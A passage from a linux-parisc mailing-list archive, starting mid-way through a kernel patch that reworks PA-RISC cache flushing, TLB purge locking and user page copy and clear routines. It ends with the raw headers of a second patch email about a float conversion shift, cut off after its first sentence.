 void flush_kernel_dcache_page_addr(void *addr)
 {
@@ -401,11 +381,26 @@ void flush_kernel_dcache_page_addr(void *addr)
 }
 EXPORT_SYMBOL(flush_kernel_dcache_page_addr);
 
+void clear_user_page(void *vto, unsigned long vaddr, struct page *page)
+{
+	clear_page_asm(vto);
+	if (!parisc_requires_coherency())
+		flush_kernel_dcache_page_asm(vto);
+}
+EXPORT_SYMBOL(clear_user_page);
+
 void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
-		    struct page *pg)
+	struct page *pg)
 {
-	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
+	/* Copy using kernel mapping.  No coherency is needed
+	   (all in kmap/kunmap) on machines that don't support
+	   non-equivalent aliasing.  However, the `from' page
+	   needs to be flushed before it can be accessed through
+	   the kernel mapping. */
+	preempt_disable();
+	flush_dcache_page_asm(__pa(vfrom), vaddr);
+	preempt_enable();
+	copy_page_asm(vto, vfrom);
 	if (!parisc_requires_coherency())
 		flush_kernel_dcache_page_asm(vto);
 }
@@ -460,8 +455,57 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+		pgd_t *pgd = mm->pgd;
+
+		for (vma = mm->mmap; vma; vma = vma->vm_next) {
+			unsigned long addr;
+
+			for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					if (pte_present(pte))
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -487,20 +531,35 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					if (pte_present(pte))
+						flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -513,3 +572,81 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+}
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 93ff3d9..9a29e34 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	fice,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr2, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	fdce,m		%arg1(%sr2, %arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%sr2, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%sr2, %arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -725,8 +959,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%r28)
 
 	sync
-	bv		%r0(%r2)
+
+#ifdef CONFIG_PA20
+	pitlb,l		%r0(%sr0,%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pitlb		(%sr0,%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
+	bv		%r0(%r2)
+	nop
 	.exit
 
 	.procend
@@ -775,7 +1018,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -815,7 +1058,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..25835d8 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -158,5 +158,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..5dd1059 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -314,7 +314,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..f0cb56e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 

--Apple-Mail-85-655675035
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-85-655675035--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] PARISC: Avoid undefined shift in cnv_float.h
Date: Sun, 1 Apr 2012 12:57:18 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <BLU0-SMTP6824DB7507844D291735CC974F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-93-657436718"
X-Trace: dough.gmane.org 1333299459 21983 80.91.229.3 (1 Apr 2012 16:57:39 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 1 Apr 2012 16:57:39 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 01 18:57:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SEO5x-0008II-KV
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Apr 2012 18:57:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752885Ab2DAQ5h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Apr 2012 12:57:37 -0400
Original-Received: from blu0-omc4-s12.blu0.hotmail.com ([65.55.111.151]:7571 "EHLO
	blu0-omc4-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752598Ab2DAQ5g (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Apr 2012 12:57:36 -0400
Original-Received: from BLU0-SMTP68 ([65.55.111.137]) by blu0-omc4-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Apr 2012 09:57:35 -0700
X-Originating-IP: [69.158.168.8]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.168.8]) by BLU0-SMTP68.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 1 Apr 2012 09:57:35 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 01 Apr 2012 16:57:35.0294 (UTC) FILETIME=[895D45E0:01CD1028]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4268>

--Apple-Mail-93-657436718
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit

The attached change fixes a float conversion problem found running the
